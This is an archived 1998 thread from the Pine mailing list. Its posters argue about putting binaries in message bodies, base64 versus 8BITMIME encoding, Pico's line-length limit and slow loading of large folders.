> delivery programs, but again, not the point. It sounds like in
> your daily practice you don't have a problem with mailers stripping
> out your high bit from under you.

Let's assume I'm talking FidoNet then. They adopted 8bit last decade. That makes them both modern and old. Then again, I might not be talking about FidoNet, since only DEC provides an 8bit (JustSend8) SMTP mailer "PATCH" in compliance with RFC 821.

I've had no problems with the 8th bit being stripped from foreign language messages, even with intermediary SMTP.

> I believe that Pico has a limitation of 255 character lines. There is
> no motivation to extend that limitation, because it is a simple text
> editor.

If it remains a simple text editor and only SMTP compatible, Pine and Pico will eventually die and be supplanted by MH or something that does X.400. As far as that 255 character line length limitation, if I ever bother to adjust Pine myself the second thing I'll do is make that limit 2^16 or 2^32.

8bit software went out with the Apple ][.

> If you wish to include binary files directly in your messages, you'll
> need to use Pine's "alternate editor" facility. I personally use
> "enable-alternate-editor-implicitly" to invoke it automatically.

Well...if there's an editor which doesn't give command-line or low-level programming language facilities, and it's as convenient as Pine, I'll test it for stability and recommend it to my sysop.

..If everyone does that, then who would waste time developing Pico?

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Subject: Re: Binary
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* Raja BrewHaHa <[email protected]> writes:

(blablabla)
> Basically, my question is this: Why can't I make a binary into
> the main message instead of making it an attachment? Pine won't
> necessarily document the font correctly in that case, and who
> will care?

man uuencode

--
Robin S. Socha M.A.
Control Risks Ltd. <http://www.crg.com/>

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Dear Pine-info,

I have several folders with +1000 messages in them.
When I open the folder, it takes several minutes and about 60megs of
memory to load. Is there anyway for pine to ONLY load the index screen
(message header info) into memory? Once the message is selected for
opening, only that message would be read into memory.

PS Partitioning the folders into several smaller folders is not a feasible
option for the nature of my system.

best regards,

----------------------
Dave Hirsch
[email protected]
NetNation Tech Support
----------------------

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Subject: Re: Binary
In-Reply-To: Raja BrewHaHa's message of "Tue, 30 Jun 1998 10:48:49 -0600 (MDT)"
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* Raja BrewHaHa <[email protected]> writes:
> On Tue, 30 Jun 1998, Edan Idzerda wrote:

Hello, Troll...

(...)
>> If you wish to include binary files directly in your messages, you'll
>> need to use Pine's "alternate editor" facility. I personally use
>> "enable-alternate-editor-implicitly" to invoke it automatically.

> Well...if there's an editor which doesn't give command-line or
> low-level programming language facilities, and it's as convenient
> as Pine, I'll test it for stability and recommend it to my sysop.

Dear Raja, thank you for playing. Really, it's ok. We got your
message. Yes, we feel sorry for you. Let me assure you that it'll
go away when you grow up. Really...

> ....If everyone does that, then who would waste time developing
> Pico?

*sigh*

*plonk*

*sigh*

Robin

--
Robin S. Socha M.A.
Control Risks Ltd. <http://www.crg.com/>

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Binary
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> >I believe that Pico has a limitation of 255 character lines. There is
> >no motivation to extend that limitation, because it is a simple text
> >editor.
>
> If it remains a simple text editor and only SMTP compatible, Pine and Pico
> will eventually die and be supplanted by MH or something that does X.400.

There are other mailers out there already.

PINE and PICO have the advantage of being simple and easy to use. If you
want something more, there are other options for you rather than forcing all
the PINE/PICO users in the world to put up with code bloat for a feature only
you seem to care about.

> As far as that 255 character line length limitation, if I ever bother to
> adjust Pine myself the second thing I'll do is make that limit 2^16 or
> 2^32.

Go for it. That's the nice thing about having source.

> Well...if there's an editor which doesn't give command-line or low-level
> programming language facilities, and it's as convenient as Pine, I'll test
> it for stability and recommend it to my sysop.

pine/pico are stable and convenient because they do what they do in a very
simple way.

> My version of Pine puts HTML attachments in Base 64.

Mine puts HTML files as text/plain.

There ain't no way to put an attachment in the body of the message, other
than uuencode.

If your recipients really don't have access to the web and you really don't
have a web page, and you really can't get around this using zip or gzip
(which would make the attachment smaller anyway) then I think you are SOL as
far as using PINE for this.

TjL

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: loading messages into memory
In-Reply-To: Dave Hirsch's message of "Tue, 30 Jun 1998 12:09:09 -0700 (PDT)"
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* Dave Hirsch <[email protected]> writes:

> Dear Pine-info, I have several folders with +1000 messages in them.
> When I open the folder, it takes several minutes and about 60megs of
> memory to load. Is there anyway for pine to ONLY load the index screen
> (message header info) into memory? Once the message is selected for
> opening, only that message would be read into memory.

Not that I know of.

> PS Partitioning the folders into several smaller folders is not a
> feasible option for the nature of my system.

Could you elaborate on that?

Robin

--
Robin S. Socha M.A.
Control Risks Ltd. <http://www.crg.com/>

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From: "Finbarr O'Kane $Sysadmin$" <[email protected]>
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Subject: Re: loading messages into memory
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On Tue, 30 Jun 1998, Robin S. Socha wrote:

{} * Dave Hirsch <[email protected]> writes:
{}
{} > Dear Pine-info, I have several folders with +1000 messages in them.
{} > When I open the folder, it takes several minutes and about 60megs of
{} > memory to load. Is there anyway for pine to ONLY load the index screen
{} > (message header info) into memory? Once the message is selected for
{} > opening, only that message would be read into memory.
{}
{} Not that I know of.
{}
{} > PS Partitioning the folders into several smaller folders is not a
{} > feasible option for the nature of my system.
{}
{} Could you elaborate on that?
{}
{} Robin
{}
{} --
{} Robin S. Socha M.A.
{} Control Risks Ltd. <http://www.crg.com/>
{}
excuse this newbie post to the list , but isnt that what , in principal
IMAP does :)

fin

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From: Edan Idzerda <[email protected]>
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Subject: Re: Binary
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> If it remains a simple text editor and only SMTP compatible, Pine and Pico will eventually die and be supplanted by MH or something that does X.400. As far as that 255 character line length limitation, if I ever bother to adjust Pine myself the second t

hing I'll do is make that limit 2^16 or 2^32.

Hah hah, sure, the people who use Pine with Pico are going to switch
to MH.

In general, there's no point to extending Pico's editing capabilities to
enable binary files. It doesn't make it a "stupid" program; the Pine
designers intend for you to use file attachments. For most of the
internet, I think that's reasonable.

Pico is a line editor, not a binary editor. Besides, you don't want
to *edit* binary files, correct? You just don't want them to be
encoded, which Pine enforces with an iron base64 fist.

It could be more useful in your case, if Pine allowed you to select
your encoding method. (It doesn't because sending 8bit files directly
is generally thought of as a bad idea.)

> Well...if there's an editor which doesn't give command-line or low-level programming language facilities, and it's as convenient as Pine, I'll test it for stability and recommend it to my sysop.
>
> ...If everyone does that, then who would waste time developing Pico?

Not everyone uses a different editor.

Changing NLINE and NSTRING in pico/estruct.h to support longer line
lengths seems to be enough. I wouldn't recommend 2^32, though.

Good luck with your peculiar situation.

- edan

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Subject: Re: Binary
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What is your problem? Despite your complaint about pico breaking lines longer
than 254 characters, you have no trouble annoying me by sending lines in text
messages longer than 80 characters.

The reason one doesn't send binaries in text messages is because mail transport
is known to corrupt long lines, given that it was never designed not to. It is
irrelevant if you can make it leave your own system intact. It is unlikely to
arrive intact on the far end.

>From: Raja BrewHaHa <[email protected]>
>Date: Tue, 30 Jun 1998 09:07:42 -0600 (MDT)

>On Tue, 30 Jun 1998, Timothy J Luoma wrote:

>>A) Why are you sending binaries via email rather than ftp?

>Because not everyone has filespace for me to SEND to.

If they don't have space for it, what the hell do you expect them to do with it
once they receive it?

>If I attach them, Pine puts them in Base 64 beyond my control, which isn't as
>universal as JustSend8, or 8bitmime, especially with old mailers. Attachments
>certainly require human knowledge of MIME, which is more common.

The pine developers feel that Base 64 encoding tends to survive mail transport
better than other methods. I'll take their word for it, unless you intend to
make a supportable argument to the contrary.

uuencode is extremely common, and is the tool to deal with Base 64.

>Why bother going through the trouble of telling someone how to get and use a
>base64 tool, when an 8bit binary will do the trick 9 times out of 10.

So that the attachment arrives intact. That's a good reason.

>I've also received several (about 10) messages where the paragraphs were NOT
>wrapped. Pine wrapped them correctly in the viewer.

Bully for you.

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can anybody guide me to download files directly to my computpr instead
of my ISprovider? what software I should have to do so ? pl. help
Thanks/K.V.Sivaraman/India

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On Tue, 30 Jun 1998, Adam H. Kerman wrote:

> uuencode is extremely common, and is the tool to deal with Base 64.

Call me a chatterbox today, but uudecode deals with the "uuencode"
format--not base64. Dealing with base64 when you don't have a
MIME-compliant mail reader can be a pain.

- edan

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>From: Edan Idzerda <[email protected]>
>Date: Wed, 1 Jul 1998 00:05:59 -0400 (EDT)

>On Tue, 30 Jun 1998, Adam H. Kerman wrote:

>>uuencode is extremely common, and is the tool to deal with Base 64.

>Call me a chatterbox today, but uudecode deals with the "uuencode"
>format--not base64.

POSIX-compliant uuencode -m encodes base64. The formats are rather similar.
Today, aren't all uuencodes using base64?

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Do you know of any tool that can deal with base-64 format?

Ken

On Wed, 1 Jul 1998, Edan Idzerda wrote:

> On Tue, 30 Jun 1998, Adam H. Kerman wrote:
>
> > uuencode is extremely common, and is the tool to deal with Base 64.
>
> Call me a chatterbox today, but uudecode deals with the "uuencode"
> format--not base64. Dealing with base64 when you don't have a
> MIME-compliant mail reader can be a pain.
>
> - edan
>

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>From: Ken Stevens <[email protected]>
>Date: Tue, 30 Jun 1998 23:22:45 -0700 (PDT)

>Do you know of any tool that can deal with base-64 format?

uuencode/uudecode -m on Linux; you may need to invoke a different option on your
unix.

And, of course, pine. Attachments encoded in base64 are automatically decoded.

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Ken Stevens writes:

> Do you know of any tool that can deal with base-64 format? Ken

Hmm, which platform? What do you want to do?

Pine can handle it (that's what the discussion is about, partly, I
guess).

XEmacs :-)

mmencode (UNIX)

I think, Netscape is also able to handle it.

That is: All of these tools should be able to extract the data
contained in base64 encoded text.

L8er, norbert.

--
Norbert Koch, DELTA Industrie Informatik GmbH, Fellbach, Germany.
YOW: A wide-eyed, innocent UNICORN, poised delicately in a MEADOW filled with
LILACS, LOLLIPOPS & small CHILDREN at the HUSH of twilight??

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>From: Raja BrewHaHa <[email protected]>
>
> If I attach them, Pine puts them in Base 64 beyond my control, which
> isn't as universal as JustSend8, or 8bitmime, especially with old
> mailers. Attachments certainly require human knowledge of MIME, which
> is more common.

I'm not quite sure that the "is more common" refers to, but Base 64 is in
fact the principal encoding scheme of MIME.

As others have mentioned, there are good reasons for encoding attachments
--if you care about them arriving intact-- but it is also true that if you
turn on Pine's feature to enable esmtp negotiation *and* you have an ESMTP
capable MTA that supports 8BITMIME, then Pine will negotiate the use of
8BITMIME rather than Base64 MIME.

-teg